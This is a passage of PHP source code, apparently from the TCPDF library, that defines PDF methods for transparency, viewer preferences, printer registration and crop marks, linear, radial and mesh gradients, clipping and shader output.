"Entries in a Graphics State Parameter Dictionary" on PDF 32000-1:2008). * @return array. * @public * @since 5.9.152 (2012-03-23) */ public function getOverprint() { return $this->overprint; } /** * Set alpha for stroking (CA) and non-stroking (ca) operations. * @param $stroking (float) Alpha value for stroking operations: real value from 0 (transparent) to 1 (opaque). * @param $bm (string) blend mode, one of the following: Normal, Multiply, Screen, Overlay, Darken, Lighten, ColorDodge, ColorBurn, HardLight, SoftLight, Difference, Exclusion, Hue, Saturation, Color, Luminosity * @param $nonstroking (float) Alpha value for non-stroking operations: real value from 0 (transparent) to 1 (opaque). * @param $ais (boolean) * @public * @since 3.0.000 (2008-03-27) */ public function setAlpha($stroking=1, $bm='Normal', $nonstroking='', $ais=false) { if ($this->pdfa_mode) { // transparency is not allowed in PDF/A mode return; } $stroking = floatval($stroking); if ($this->empty_string($nonstroking)) { // default value if not set $nonstroking = $stroking; } else { $nonstroking = floatval($nonstroking); } if ($bm[0] == '/') { // remove trailing slash $bm = substr($bm, 1); } if (!in_array($bm, array('Normal', 'Multiply', 'Screen', 'Overlay', 'Darken', 'Lighten', 'ColorDodge', 'ColorBurn', 'HardLight', 'SoftLight', 'Difference', 'Exclusion', 'Hue', 'Saturation', 'Color', 'Luminosity'))) { $bm = 'Normal'; } $ais = $ais ? true : false; $this->alpha = array('CA' => $stroking, 'ca' => $nonstroking, 'BM' => '/'.$bm, 'AIS' => $ais); $gs = $this->addExtGState($this->alpha); $this->setExtGState($gs); } /** * Get the alpha mode array (CA, ca, BM, AIS). * (Check the "Entries in a Graphics State Parameter Dictionary" on PDF 32000-1:2008). * @return array. * @public * @since 5.9.152 (2012-03-23) */ public function getAlpha() { return $this->alpha; } /** * Set the default JPEG compression quality (1-100) * @param $quality (int) JPEG quality, integer between 1 and 100 * @public * @since 3.0.000 (2008-03-27) */ public function setJPEGQuality($quality) { if (($quality < 1) OR ($quality > 100)) { $quality = 75; } $this->jpeg_quality = intval($quality); } /** * Set the default number of columns in a row for HTML tables. * @param $cols (int) number of columns * @public * @since 3.0.014 (2008-06-04) */ public function setDefaultTableColumns($cols=4) { $this->default_table_columns = intval($cols); } /** * Set the height of the cell (line height) respect the font height. * @param $h (int) cell proportion respect font height (typical value = 1.25). * @public * @since 3.0.014 (2008-06-04) */ public function setCellHeightRatio($h) { $this->cell_height_ratio = $h; } /** * return the height of cell repect font height. * @public * @since 4.0.012 (2008-07-24) */ public function getCellHeightRatio() { return $this->cell_height_ratio; } /** * Set the PDF version (check PDF reference for valid values). * @param $version (string) PDF document version. * @public * @since 3.1.000 (2008-06-09) */ public function setPDFVersion($version='1.7') { if ($this->pdfa_mode) { // PDF/A mode $this->PDFVersion = '1.4'; } else { $this->PDFVersion = $version; } } /** * Set the viewer preferences dictionary controlling the way the document is to be presented on the screen or in print. * (see Section 8.1 of PDF reference, "Viewer Preferences"). * <ul><li>HideToolbar boolean (Optional) A flag specifying whether to hide the viewer application's tool bars when the document is active. Default value: false.</li><li>HideMenubar boolean (Optional) A flag specifying whether to hide the viewer application's menu bar when the document is active. Default value: false.</li><li>HideWindowUI boolean (Optional) A flag specifying whether to hide user interface elements in the document's window (such as scroll bars and navigation controls), leaving only the document's contents displayed. Default value: false.</li><li>FitWindow boolean (Optional) A flag specifying whether to resize the document's window to fit the size of the first displayed page. Default value: false.</li><li>CenterWindow boolean (Optional) A flag specifying whether to position the document's window in the center of the screen. Default value: false.</li><li>DisplayDocTitle boolean (Optional; PDF 1.4) A flag specifying whether the window's title bar should display the document title taken from the Title entry of the document information dictionary (see Section 10.2.1, "Document Information Dictionary"). If false, the title bar should instead display the name of the PDF file containing the document. Default value: false.</li><li>NonFullScreenPageMode name (Optional) The document's page mode, specifying how to display the document on exiting full-screen mode:<ul><li>UseNone Neither document outline nor thumbnail images visible</li><li>UseOutlines Document outline visible</li><li>UseThumbs Thumbnail images visible</li><li>UseOC Optional content group panel visible</li></ul>This entry is meaningful only if the value of the PageMode entry in the catalog dictionary (see Section 3.6.1, "Document Catalog") is FullScreen; it is ignored otherwise. Default value: UseNone.</li><li>ViewArea name (Optional; PDF 1.4) The name of the page boundary representing the area of a page to be displayed when viewing the document on the screen. Valid values are (see Section 10.10.1, "Page Boundaries").:<ul><li>MediaBox</li><li>CropBox (default)</li><li>BleedBox</li><li>TrimBox</li><li>ArtBox</li></ul></li><li>ViewClip name (Optional; PDF 1.4) The name of the page boundary to which the contents of a page are to be clipped when viewing the document on the screen. Valid values are (see Section 10.10.1, "Page Boundaries").:<ul><li>MediaBox</li><li>CropBox (default)</li><li>BleedBox</li><li>TrimBox</li><li>ArtBox</li></ul></li><li>PrintArea name (Optional; PDF 1.4) The name of the page boundary representing the area of a page to be rendered when printing the document. Valid values are (see Section 10.10.1, "Page Boundaries").:<ul><li>MediaBox</li><li>CropBox (default)</li><li>BleedBox</li><li>TrimBox</li><li>ArtBox</li></ul></li><li>PrintClip name (Optional; PDF 1.4) The name of the page boundary to which the contents of a page are to be clipped when printing the document. Valid values are (see Section 10.10.1, "Page Boundaries").:<ul><li>MediaBox</li><li>CropBox (default)</li><li>BleedBox</li><li>TrimBox</li><li>ArtBox</li></ul></li><li>PrintScaling name (Optional; PDF 1.6) The page scaling option to be selected when a print dialog is displayed for this document. Valid values are: <ul><li>None, which indicates that the print dialog should reflect no page scaling</li><li>AppDefault (default), which indicates that applications should use the current print scaling</li></ul></li><li>Duplex name (Optional; PDF 1.7) The paper handling option to use when printing the file from the print dialog. The following values are valid:<ul><li>Simplex - Print single-sided</li><li>DuplexFlipShortEdge - Duplex and flip on the short edge of the sheet</li><li>DuplexFlipLongEdge - Duplex and flip on the long edge of the sheet</li></ul>Default value: none</li><li>PickTrayByPDFSize boolean (Optional; PDF 1.7) A flag specifying whether the PDF page size is used to select the input paper tray. This setting influences only the preset values used to populate the print dialog presented by a PDF viewer application. If PickTrayByPDFSize is true, the check box in the print dialog associated with input paper tray is checked. Note: This setting has no effect on Mac OS systems, which do not provide the ability to pick the input tray by size.</li><li>PrintPageRange array (Optional; PDF 1.7) The page numbers used to initialize the print dialog box when the file is printed. The first page of the PDF file is denoted by 1. Each pair consists of the first and last pages in the sub-range. An odd number of integers causes this entry to be ignored. Negative numbers cause the entire array to be ignored. Default value: as defined by PDF viewer application</li><li>NumCopies integer (Optional; PDF 1.7) The number of copies to be printed when the print dialog is opened for this file. Supported values are the integers 2 through 5. Values outside this range are ignored. Default value: as defined by PDF viewer application, but typically 1</li></ul> * @param $preferences (array) array of options. * @author Nicola Asuni * @public * @since 3.1.000 (2008-06-09) */ public function setViewerPreferences($preferences) { $this->viewer_preferences = $preferences; } /** * Paints color transition registration bars * @param $x (float) abscissa of the top left corner of the rectangle. * @param $y (float) ordinate of the top left corner of the rectangle. * @param $w (float) width of the rectangle. * @param $h (float) height of the rectangle. * @param $transition (boolean) if true prints tcolor transitions to white. * @param $vertical (boolean) if true prints bar vertically. * @param $colors (string) colors to print, one letter per color separated by comma (for example 'A,W,R,G,B,C,M,Y,K'): A=black, W=white, R=red, G=green, B=blue, C=cyan, M=magenta, Y=yellow, K=black. * @author Nicola Asuni * @since 4.9.000 (2010-03-26) * @public */ public function colorRegistrationBar($x, $y, $w, $h, $transition=true, $vertical=false, $colors='A,R,G,B,C,M,Y,K') { $bars = explode(',', $colors); $numbars = count($bars); // number of bars to print // set bar measures if ($vertical) { $coords = array(0, 0, 0, 1); $wb = $w / $numbars; // bar width $hb = $h; // bar height $xd = $wb; // delta x $yd = 0; // delta y } else { $coords = array(1, 0, 0, 0); $wb = $w; // bar width $hb = $h / $numbars; // bar height $xd = 0; // delta x $yd = $hb; // delta y } $xb = $x; $yb = $y; foreach ($bars as $col) { switch ($col) { // set transition colors case 'A': { // BLACK $col_a = array(255); $col_b = array(0); break; } case 'W': { // WHITE $col_a = array(0); $col_b = array(255); break; } case 'R': { // R $col_a = array(255,255,255); $col_b = array(255,0,0); break; } case 'G': { // G $col_a = array(255,255,255); $col_b = array(0,255,0); break; } case 'B': { // B $col_a = array(255,255,255); $col_b = array(0,0,255); break; } case 'C': { // C $col_a = array(0,0,0,0); $col_b = array(100,0,0,0); break; } case 'M': { // M $col_a = array(0,0,0,0); $col_b = array(0,100,0,0); break; } case 'Y': { // Y $col_a = array(0,0,0,0); $col_b = array(0,0,100,0); break; } case 'K': { // K $col_a = array(0,0,0,0); $col_b = array(0,0,0,100); break; } default: { // GRAY $col_a = array(255); $col_b = array(0); break; } } if ($transition) { // color gradient $this->LinearGradient($xb, $yb, $wb, $hb, $col_a, $col_b, $coords); } else { // color rectangle $this->SetFillColorArray($col_b); $this->Rect($xb, $yb, $wb, $hb, 'F', array()); } $xb += $xd; $yb += $yd; } } /** * Paints crop marks. * @param $x (float) abscissa of the crop mark center. * @param $y (float) ordinate of the crop mark center. * @param $w (float) width of the crop mark. * @param $h (float) height of the crop mark. * @param $type (string) type of crop mark, one symbol per type separated by comma: T = TOP, F = BOTTOM, L = LEFT, R = RIGHT, TL = A = TOP-LEFT, TR = B = TOP-RIGHT, BL = C = BOTTOM-LEFT, BR = D = BOTTOM-RIGHT. * @param $color (array) crop mark color (default black). * @author Nicola Asuni * @since 4.9.000 (2010-03-26) * @public */ public function cropMark($x, $y, $w, $h, $type='T,R,B,L', $color=array(0,0,0)) { $this->SetLineStyle(array('width' => (0.5 / $this->k), 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $color)); $type = strtoupper($type); $type = preg_replace('/[^A-Z\-\,]*/', '', $type); // split type in single components $type = str_replace('-', ',', $type); $type = str_replace('TL', 'T,L', $type); $type = str_replace('TR', 'T,R', $type); $type = str_replace('BL', 'F,L', $type); $type = str_replace('BR', 'F,R', $type); $type = str_replace('A', 'T,L', $type); $type = str_replace('B', 'T,R', $type); $type = str_replace('T,RO', 'BO', $type); $type = str_replace('C', 'F,L', $type); $type = str_replace('D', 'F,R', $type); $crops = explode(',', strtoupper($type)); // remove duplicates $crops = array_unique($crops); $dw = ($w / 4); // horizontal space to leave before the intersection point $dh = ($h / 4); // vertical space to leave before the intersection point foreach ($crops as $crop) { switch ($crop) { case 'T': case 'TOP': { $x1 = $x; $y1 = ($y - $h); $x2 = $x; $y2 = ($y - $dh); break; } case 'F': case 'BOTTOM': { $x1 = $x; $y1 = ($y + $dh); $x2 = $x; $y2 = ($y + $h); break; } case 'L': case 'LEFT': { $x1 = ($x - $w); $y1 = $y; $x2 = ($x - $dw); $y2 = $y; break; } case 'R': case 'RIGHT': { $x1 = ($x + $dw); $y1 = $y; $x2 = ($x + $w); $y2 = $y; break; } } $this->Line($x1, $y1, $x2, $y2); } } /** * Paints a registration mark * @param $x (float) abscissa of the registration mark center. * @param $y (float) ordinate of the registration mark center. * @param $r (float) radius of the crop mark. * @param $double (boolean) if true print two concentric crop marks. * @param $cola (array) crop mark color (default black). * @param $colb (array) second crop mark color. * @author Nicola Asuni * @since 4.9.000 (2010-03-26) * @public */ public function registrationMark($x, $y, $r, $double=false, $cola=array(0,0,0), $colb=array(255,255,255)) { $line_style = array('width' => (0.5 / $this->k), 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $cola); $this->SetFillColorArray($cola); $this->PieSector($x, $y, $r, 90, 180, 'F'); $this->PieSector($x, $y, $r, 270, 360, 'F'); $this->Circle($x, $y, $r, 0, 360, 'C', $line_style, array(), 8); if ($double) { $r2 = $r * 0.5; $this->SetFillColorArray($colb); $this->PieSector($x, $y, $r2, 90, 180, 'F'); $this->PieSector($x, $y, $r2, 270, 360, 'F'); $this->SetFillColorArray($cola); $this->PieSector($x, $y, $r2, 0, 90, 'F'); $this->PieSector($x, $y, $r2, 180, 270, 'F'); $this->Circle($x, $y, $r2, 0, 360, 'C', $line_style, array(), 8); } } /** * Paints a linear colour gradient. * @param $x (float) abscissa of the top left corner of the rectangle. * @param $y (float) ordinate of the top left corner of the rectangle. * @param $w (float) width of the rectangle. * @param $h (float) height of the rectangle. * @param $col1 (array) first color (Grayscale, RGB or CMYK components). * @param $col2 (array) second color (Grayscale, RGB or CMYK components). * @param $coords (array) array of the form (x1, y1, x2, y2) which defines the gradient vector (see linear_gradient_coords.jpg). The default value is from left to right (x1=0, y1=0, x2=1, y2=0). * @author Andreas W�rmser, Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function LinearGradient($x, $y, $w, $h, $col1=array(), $col2=array(), $coords=array(0,0,1,0)) { $this->Clip($x, $y, $w, $h); $this->Gradient(2, $coords, array(array('color' => $col1, 'offset' => 0, 'exponent' => 1), array('color' => $col2, 'offset' => 1, 'exponent' => 1)), array(), false); } /** * Paints a radial colour gradient. * @param $x (float) abscissa of the top left corner of the rectangle. * @param $y (float) ordinate of the top left corner of the rectangle. * @param $w (float) width of the rectangle. * @param $h (float) height of the rectangle. * @param $col1 (array) first color (Grayscale, RGB or CMYK components). * @param $col2 (array) second color (Grayscale, RGB or CMYK components). * @param $coords (array) array of the form (fx, fy, cx, cy, r) where (fx, fy) is the starting point of the gradient with color1, (cx, cy) is the center of the circle with color2, and r is the radius of the circle (see radial_gradient_coords.jpg). (fx, fy) should be inside the circle, otherwise some areas will not be defined. * @author Andreas W�rmser, Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function RadialGradient($x, $y, $w, $h, $col1=array(), $col2=array(), $coords=array(0.5,0.5,0.5,0.5,1)) { $this->Clip($x, $y, $w, $h); $this->Gradient(3, $coords, array(array('color' => $col1, 'offset' => 0, 'exponent' => 1), array('color' => $col2, 'offset' => 1, 'exponent' => 1)), array(), false); } /** * Paints a coons patch mesh. * @param $x (float) abscissa of the top left corner of the rectangle. * @param $y (float) ordinate of the top left corner of the rectangle. * @param $w (float) width of the rectangle. * @param $h (float) height of the rectangle. * @param $col1 (array) first color (lower left corner) (RGB components). * @param $col2 (array) second color (lower right corner) (RGB components). * @param $col3 (array) third color (upper right corner) (RGB components). * @param $col4 (array) fourth color (upper left corner) (RGB components). * @param $coords (array) <ul><li>for one patch mesh: array(float x1, float y1, .... float x12, float y12): 12 pairs of coordinates (normally from 0 to 1) which specify the Bezier control points that define the patch. First pair is the lower left edge point, next is its right control point (control point 2). Then the other points are defined in the order: control point 1, edge point, control point 2 going counter-clockwise around the patch. Last (x12, y12) is the first edge point's left control point (control point 1).</li><li>for two or more patch meshes: array[number of patches]: arrays with the following keys for each patch: f: where to put that patch (0 = first patch, 1, 2, 3 = right, top and left of precedent patch - I didn't figure this out completely - just try and error ;-) points: 12 pairs of coordinates of the Bezier control points as above for the first patch, 8 pairs of coordinates for the following patches, ignoring the coordinates already defined by the precedent patch (I also didn't figure out the order of these - also: try and see what's happening) colors: must be 4 colors for the first patch, 2 colors for the following patches</li></ul> * @param $coords_min (array) minimum value used by the coordinates. If a coordinate's value is smaller than this it will be cut to coords_min. default: 0 * @param $coords_max (array) maximum value used by the coordinates. If a coordinate's value is greater than this it will be cut to coords_max. default: 1 * @param $antialias (boolean) A flag indicating whether to filter the shading function to prevent aliasing artifacts. * @author Andreas W�rmser, Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function CoonsPatchMesh($x, $y, $w, $h, $col1=array(), $col2=array(), $col3=array(), $col4=array(), $coords=array(0.00,0.0,0.33,0.00,0.67,0.00,1.00,0.00,1.00,0.33,1.00,0.67,1.00,1.00,0.67,1.00,0.33,1.00,0.00,1.00,0.00,0.67,0.00,0.33), $coords_min=0, $coords_max=1, $antialias=false) { if ($this->pdfa_mode OR ($this->state != 2)) { return; } $this->Clip($x, $y, $w, $h); $n = count($this->gradients) + 1; $this->gradients[$n] = array(); $this->gradients[$n]['type'] = 6; //coons patch mesh $this->gradients[$n]['coords'] = array(); $this->gradients[$n]['antialias'] = $antialias; $this->gradients[$n]['colors'] = array(); $this->gradients[$n]['transparency'] = false; //check the coords array if it is the simple array or the multi patch array if (!isset($coords[0]['f'])) { //simple array -> convert to multi patch array if (!isset($col1[1])) { $col1[1] = $col1[2] = $col1[0]; } if (!isset($col2[1])) { $col2[1] = $col2[2] = $col2[0]; } if (!isset($col3[1])) { $col3[1] = $col3[2] = $col3[0]; } if (!isset($col4[1])) { $col4[1] = $col4[2] = $col4[0]; } $patch_array[0]['f'] = 0; $patch_array[0]['points'] = $coords; $patch_array[0]['colors'][0]['r'] = $col1[0]; $patch_array[0]['colors'][0]['g'] = $col1[1]; $patch_array[0]['colors'][0]['b'] = $col1[2]; $patch_array[0]['colors'][1]['r'] = $col2[0]; $patch_array[0]['colors'][1]['g'] = $col2[1]; $patch_array[0]['colors'][1]['b'] = $col2[2]; $patch_array[0]['colors'][2]['r'] = $col3[0]; $patch_array[0]['colors'][2]['g'] = $col3[1]; $patch_array[0]['colors'][2]['b'] = $col3[2]; $patch_array[0]['colors'][3]['r'] = $col4[0]; $patch_array[0]['colors'][3]['g'] = $col4[1]; $patch_array[0]['colors'][3]['b'] = $col4[2]; } else { //multi patch array $patch_array = $coords; } $bpcd = 65535; //16 bits per coordinate //build the data stream $this->gradients[$n]['stream'] = ''; $count_patch = count($patch_array); for ($i=0; $i < $count_patch; ++$i) { $this->gradients[$n]['stream'] .= chr($patch_array[$i]['f']); //start with the edge flag as 8 bit $count_points = count($patch_array[$i]['points']); for ($j=0; $j < $count_points; ++$j) { //each point as 16 bit $patch_array[$i]['points'][$j] = (($patch_array[$i]['points'][$j] - $coords_min) / ($coords_max - $coords_min)) * $bpcd; if ($patch_array[$i]['points'][$j] < 0) { $patch_array[$i]['points'][$j] = 0; } if ($patch_array[$i]['points'][$j] > $bpcd) { $patch_array[$i]['points'][$j] = $bpcd; } $this->gradients[$n]['stream'] .= chr(floor($patch_array[$i]['points'][$j] / 256)); $this->gradients[$n]['stream'] .= chr(floor($patch_array[$i]['points'][$j] % 256)); } $count_cols = count($patch_array[$i]['colors']); for ($j=0; $j < $count_cols; ++$j) { //each color component as 8 bit $this->gradients[$n]['stream'] .= chr($patch_array[$i]['colors'][$j]['r']); $this->gradients[$n]['stream'] .= chr($patch_array[$i]['colors'][$j]['g']); $this->gradients[$n]['stream'] .= chr($patch_array[$i]['colors'][$j]['b']); } } //paint the gradient $this->_out('/Sh'.$n.' sh'); //restore previous Graphic State $this->_out('Q'); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['gradients'][$n] = $this->gradients[$n]; } } /** * Set a rectangular clipping area. * @param $x (float) abscissa of the top left corner of the rectangle (or top right corner for RTL mode). * @param $y (float) ordinate of the top left corner of the rectangle. * @param $w (float) width of the rectangle. * @param $h (float) height of the rectangle. * @author Andreas W�rmser, Nicola Asuni * @since 3.1.000 (2008-06-09) * @protected */ protected function Clip($x, $y, $w, $h) { if ($this->state != 2) { return; } if ($this->rtl) { $x = $this->w - $x - $w; } //save current Graphic State $s = 'q'; //set clipping area $s .= sprintf(' %F %F %F %F re W n', $x*$this->k, ($this->h-$y)*$this->k, $w*$this->k, -$h*$this->k); //set up transformation matrix for gradient $s .= sprintf(' %F 0 0 %F %F %F cm', $w*$this->k, $h*$this->k, $x*$this->k, ($this->h-($y+$h))*$this->k); $this->_out($s); } /** * Output gradient. * @param $type (int) type of gradient (1 Function-based shading; 2 Axial shading; 3 Radial shading; 4 Free-form Gouraud-shaded triangle mesh; 5 Lattice-form Gouraud-shaded triangle mesh; 6 Coons patch mesh; 7 Tensor-product patch mesh). (Not all types are currently supported) * @param $coords (array) array of coordinates. * @param $stops (array) array gradient color components: color = array of GRAY, RGB or CMYK color components; offset = (0 to 1) represents a location along the gradient vector; exponent = exponent of the exponential interpolation function (default = 1). * @param $background (array) An array of colour components appropriate to the colour space, specifying a single background colour value. * @param $antialias (boolean) A flag indicating whether to filter the shading function to prevent aliasing artifacts. * @author Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function Gradient($type, $coords, $stops, $background=array(), $antialias=false) { if ($this->pdfa_mode OR ($this->state != 2)) { return; } $n = count($this->gradients) + 1; $this->gradients[$n] = array(); $this->gradients[$n]['type'] = $type; $this->gradients[$n]['coords'] = $coords; $this->gradients[$n]['antialias'] = $antialias; $this->gradients[$n]['colors'] = array(); $this->gradients[$n]['transparency'] = false; // color space $numcolspace = count($stops[0]['color']); $bcolor = array_values($background); switch($numcolspace) { case 4: { // CMYK $this->gradients[$n]['colspace'] = 'DeviceCMYK'; if (!empty($background)) { $this->gradients[$n]['background'] = sprintf('%F %F %F %F', $bcolor[0]/100, $bcolor[1]/100, $bcolor[2]/100, $bcolor[3]/100); } break; } case 3: { // RGB $this->gradients[$n]['colspace'] = 'DeviceRGB'; if (!empty($background)) { $this->gradients[$n]['background'] = sprintf('%F %F %F', $bcolor[0]/255, $bcolor[1]/255, $bcolor[2]/255); } break; } case 1: { // Gray scale $this->gradients[$n]['colspace'] = 'DeviceGray'; if (!empty($background)) { $this->gradients[$n]['background'] = sprintf('%F', $bcolor[0]/255); } break; } } $num_stops = count($stops); $last_stop_id = $num_stops - 1; foreach ($stops as $key => $stop) { $this->gradients[$n]['colors'][$key] = array(); // offset represents a location along the gradient vector if (isset($stop['offset'])) { $this->gradients[$n]['colors'][$key]['offset'] = $stop['offset']; } else { if ($key == 0) { $this->gradients[$n]['colors'][$key]['offset'] = 0; } elseif ($key == $last_stop_id) { $this->gradients[$n]['colors'][$key]['offset'] = 1; } else { $offsetstep = (1 - $this->gradients[$n]['colors'][($key - 1)]['offset']) / ($num_stops - $key); $this->gradients[$n]['colors'][$key]['offset'] = $this->gradients[$n]['colors'][($key - 1)]['offset'] + $offsetstep; } } if (isset($stop['opacity'])) { $this->gradients[$n]['colors'][$key]['opacity'] = $stop['opacity']; if ((!$this->pdfa_mode) AND ($stop['opacity'] < 1)) { $this->gradients[$n]['transparency'] = true; } } else { $this->gradients[$n]['colors'][$key]['opacity'] = 1; } // exponent for the exponential interpolation function if (isset($stop['exponent'])) { $this->gradients[$n]['colors'][$key]['exponent'] = $stop['exponent']; } else { $this->gradients[$n]['colors'][$key]['exponent'] = 1; } // set colors $color = array_values($stop['color']); switch($numcolspace) { case 4: { // CMYK $this->gradients[$n]['colors'][$key]['color'] = sprintf('%F %F %F %F', $color[0]/100, $color[1]/100, $color[2]/100, $color[3]/100); break; } case 3: { // RGB $this->gradients[$n]['colors'][$key]['color'] = sprintf('%F %F %F', $color[0]/255, $color[1]/255, $color[2]/255); break; } case 1: { // Gray scale $this->gradients[$n]['colors'][$key]['color'] = sprintf('%F', $color[0]/255); break; } } } if ($this->gradients[$n]['transparency']) { // paint luminosity gradient $this->_out('/TGS'.$n.' gs'); } //paint the gradient $this->_out('/Sh'.$n.' sh'); //restore previous Graphic State $this->_out('Q'); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['gradients'][$n] = $this->gradients[$n]; } } /** * Output gradient shaders. * @author Nicola Asuni * @since 3.1.000 (2008-06-09) * @protected */ function _putshaders() { if ($this->pdfa_mode) { return; } $idt = count($this->gradients); //index for transparency gradients foreach ($this->gradients as $id => $grad) { if (($grad['type'] == 2) OR ($grad['type'] == 3)) { $fc = $this->_newobj(); $out = '<<'; $out .= ' /FunctionType 3'; $out .= ' /Domain [0 1]'; $functions = ''; $bounds = ''; $encode = ''; $i = 1; $num_cols = count($grad['colors']); $lastcols = $num_cols - 1; for ($i = 1; $i < $num_cols; ++$i) { $functions .= ($fc + $i).' 0 R '; if ($i < $lastcols) { $bounds .= sprintf('%F ', $grad['colors'][$i]['offset']); } $encode .= '0 1 '; } $out .= ' /Functions ['.trim($functions).']'; $out .= ' /Bounds ['.trim($bounds).']'; $out .= ' /Encode ['.trim($encode).']'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); for ($i = 1; $i < $num_cols; ++$i) { $this->_newobj(); $out = '<<'; $out .= ' /FunctionType 2'; $out .= ' /Domain [0 1]'; $out .= ' /C0 ['.$grad['colors'][($i - 1)]['color'].']'; $out .= ' /C1 ['.$grad['colors'][$i]['color'].']'; $out .= ' /N '.$grad['colors'][$i]['exponent']; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } // set transparency fuctions if ($grad['transparency']) { $ft = $this->_newobj(); $out = '<<'; $out .= ' /FunctionType 3'; $out .= ' /Domain [0 1]'; $functions = ''; $i = 1; $num_cols = count($grad['colors']); for ($i = 1; $i < $num_cols; ++$i) { $functions .= ($ft + $i).' 0 R '; } $out .= ' /Functions ['.trim($functions).']'; $out .= ' /Bounds ['.trim($bounds).']'; $out .= ' /Encode ['.trim($encode).']'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); for ($i = 1; $i < $num_cols; ++$i) { $this->_newobj(); $out = '<<'; $out .= ' /FunctionType 2'; $out .= ' /Domain [0 1]'; $out .= ' /C0 ['.$grad['colors'][($i - 1)]['opacity'].']'; $out .= ' /C1 ['.$grad['colors'][$i]['opacity'].']'; $out .= ' /N '.$grad['colors'][$i]['exponent']; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } } } // set shading object $this->_newobj(); $out = '<< /ShadingType '.$grad['type']; if (isset($grad['colspace'])) { $out .= ' /ColorSpace /'.$grad['colspace']; } else { $out .= ' /ColorSpace /DeviceRGB'; } if (isset($grad['background']) AND !empty($grad['background'])) { $out .= ' /Background ['.$grad['background'].']'; } if (isset($grad['antialias']) AND ($grad['antialias'] === true)) { $out .= ' /AntiAlias true'; } if ($grad['type'] == 2) { $out .= ' '.sprintf('/Coords [%F %F %F %F]', $grad['coords'][0], $grad['coords'][1], $grad['coords'][2], $grad['coords'][3]); $out .= ' /Domain [0 1]'; $out .= ' /Function '.$fc.' 0 R'; $out .= ' /Extend [true true]'; $out .= ' >>'; } elseif ($grad['type'] == 3) { //x0, y0, r0, x1, y1, r1 //at this this time radius of inner circle is 0 $out .= ' '.sprintf('/Coords [%F %F 0 %F %F %F]', $grad['coords'][0], $grad['coords'][1], $grad['coords'][2], $grad['coords'][3], $grad['coords'][4]); $out .= ' /Domain [0 1]'; $out .= ' /Function '.$fc.' 0 R'; $out .= ' /Extend [true true]'; $out .= ' >>'; } elseif ($grad['type'] == 6) { $out .= ' /BitsPerCoordinate 16'; $out .= ' /BitsPerComponent 8'; $out .= ' /Decode[0 1 0 1 0 1 0 1 0 1]'; $out .= ' /BitsPerFlag 8'; $stream = $this->_getrawstream($grad['stream']); $out .= ' /Length '.strlen($stream); $out .= ' >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; } $out .= "\n".'endobj'; $this->_out($out); if ($grad['transparency']) { $shading_transparency = preg_replace('/\/ColorSpace \/[^\s]+/si', '/ColorSpace /DeviceGray', $out); $shading_transparency = preg_replace('/\/Function [0-9]+ /si', '/Function '.$ft.' ', $shading_transparency); } $this->gradients[$id]['id'] = $this->n; // set pattern object $this->_newobj(); $out = '<< /Type /Pattern /PatternType 2'; $out .= ' /Shading '.$this->gradients[$id]['id'].' 0 R'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); $this->gradients[$id]['pattern'] = $this->n; // set shading and pattern for transparency mask if ($grad['transparency']) { // luminosity pattern $idgs = $id + $idt; $this->_newobj(); $this->_out($shading_transparency); $this->gradients[$idgs]['id'] = $this->n; $this->_newobj(); $out = '<< /Type /Pattern /PatternType 2'; $out .= ' /Shading '.$this->gradients[$idgs]['id'].' 0 R'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); $this->gradients[$idgs]['pattern'] = $this->n; // luminosity XObject $oid = $this->_newobj(); $this->xobjects['LX'.$oid] = array('n' => $oid); $filter = ''; $stream = 'q /a0 gs /Pattern cs /p'.$idgs.' scn 0 0 '.$this->wPt.' '.$this->hPt.' re f Q'; if ($this->compress) { $filter = ' /Filter /FlateDecode'; $stream = gzcompress($stream); } $stream = $this->_getrawstream($stream); $out = '<< /Type /XObject /Subtype /Form /FormType 1'.$filter; $out .= ' /Length '.strlen($stream); $rect = sprintf('%F %F', $this->wPt, $this->hPt); $out .= ' /BBox [0 0 '.$rect.']'; $out .= ' /Group << /Type /Group /S /Transparency /CS /DeviceGray >>'; $out .= ' /Resources <<'; $out .= ' /ExtGState << /a0 << /ca 1 /CA 1 >> >>'; $out .= ' /Pattern << /p'.$idgs.' '.$this->gradients[$idgs]['pattern'].' 0 R >>'; $out .= ' >>'; $out .= ' >> '; $out .= ' stream'."\n".$stream."\n".'endstream'; $out .= "\n".'endobj'; $this->_out($out); // SMask $this->_newobj(); $out = '<< /Type /Mask /S /Luminosity /G '.($this->n - 1).' 0 R >>'."\n".'endobj'; $this->_out($out); // ExtGState $this->_newobj(); $out = '<< /Type /ExtGState /SMask '.($this->n - 1).' 0 R /AIS false >>'."\n".'endobj'; $this->_out($out); $this->extgstates[] = array('n' => $this->n, 'name' => 'TGS'.$id); } } } /** * Draw the sector of a circle. * It can be used for instance to render pie charts. * @param $xc (float) abscissa of the center. * @param $yc (float) ordinate of the center. * @param $r (float) radius. * @param $a (float) start angle (in degrees). * @param $b (float) end angle (in degrees). * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $cw: (float) indicates whether to go clockwise (default: true). * @param $o: (float) origin of angles (0 for 3 o'clock, 90 for noon, 180 for 9 o'clock, 270 for 6 o'clock). Default: 90. * @author Maxime Delorme, Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function PieSector($xc, $yc, $r, $a, $b, $style='FD', $cw=true, $o=90) { $this->PieSectorXY($xc, $yc, $r, $r, $a, $b, $style, $cw, $o); } /** * Draw the sector of an ellipse. * It can be used for instance to render pie charts. * @param $xc (float) abscissa of the center. * @param $yc (float) ordinate of the center. * @param $rx (float) the x-axis radius. * @param $ry (float) the y-axis radius. * @param $a (float) start angle (in degrees). * @param $b (float) end angle (in degrees). * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $cw: (float) indicates whether to go clockwise. * @param $o: (float) origin 